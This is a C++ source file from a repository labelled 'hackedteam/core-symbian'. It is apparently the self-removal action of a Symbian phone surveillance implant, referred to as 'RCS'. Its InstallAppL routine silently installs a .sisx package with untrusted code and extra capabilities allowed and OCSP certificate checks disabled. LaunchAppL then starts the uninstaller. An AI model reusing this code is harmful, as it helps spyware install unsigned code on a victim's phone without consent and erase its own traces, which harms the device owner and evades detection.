hackedteam/core-symbian

/*
 * ActionUninstall.cpp
 *
 *  Created on: 18/giu/2010
 *      Author: Giovanna
 */

#include <apgcli.h> // for RApaLsSession
#include <apacmdln.h> // for CApaCommandLine

#include <swinstapi.h>            // Uninstaller
#include <swinstdefs.h>

#include "ActionUninstall.h"


CActionUninstall::CActionUninstall() :
    CAbstractAction(EAction_Uninstall)
    {
    // No implementation required
    }

CActionUninstall::~CActionUninstall()
    {
    
    }

CActionUninstall* CActionUninstall::NewLC(const TDesC8& params)
    {
    CActionUninstall* self = new (ELeave) CActionUninstall();
    CleanupStack::PushL(self);
    self->ConstructL(params);
    return self;
    }

CActionUninstall* CActionUninstall::NewL(const TDesC8& params)
    {
    CActionUninstall* self = CActionUninstall::NewLC(params);
    CleanupStack::Pop(); // self;
    return self;
    }

void CActionUninstall::ConstructL(const TDesC8& params)
    {
        BaseConstructL(params);
    }

void CActionUninstall::DispatchStartCommandL()
    {
        /**
         * All the files are generated/downloaded into private app folder and automatically
         * deleted during uninstall.
         */
    
        /**
         * Installation registry is not accessible through our capabilities.
         */
    
        // Install the RCS uninstaller
        InstallAppL();
        
        // Launch Uninstaller
        LaunchAppL();
            
    }

void CActionUninstall::LaunchAppL(){
    
    TThreadId app_threadid;
    CApaCommandLine* cmdLine; 
    cmdLine=CApaCommandLine::NewLC();
    cmdLine->SetExecutableNameL(_L("Uninstaller.exe"));
    cmdLine->SetCommandL( EApaCommandRun );
    RApaLsSession ls;
    User::LeaveIfError(ls.Connect());
    TInt err=ls.StartApp(*cmdLine,app_threadid);
    ls.Close();
    CleanupStack::PopAndDestroy(); // cmdLine
}

void CActionUninstall::InstallAppL(){

    // Prepare for silent install
    SwiUI::RSWInstSilentLauncher      launcher; 
    SwiUI::TInstallOptions            options;
    SwiUI::TInstallOptionsPckg        optionsPckg;    
    
    // Connect to the server
    User::LeaveIfError( launcher.Connect() );
      
    // See SWInstDefs.h for more info about these options
    options.iUpgrade = SwiUI::EPolicyAllowed;
    options.iOCSP = SwiUI::EPolicyNotAllowed;
    options.iDrive = 'C';   // Hard-coded as phone memory  
    options.iUntrusted = SwiUI::EPolicyAllowed; 
    options.iCapabilities = SwiUI::EPolicyAllowed;
        
    optionsPckg = options;
    
    TInt err = KErrNone;
    err = launcher.SilentInstall(_L("C:\\Private\\20030635\\Uninstaller.sisx"),optionsPckg);
    
    launcher.Close();
}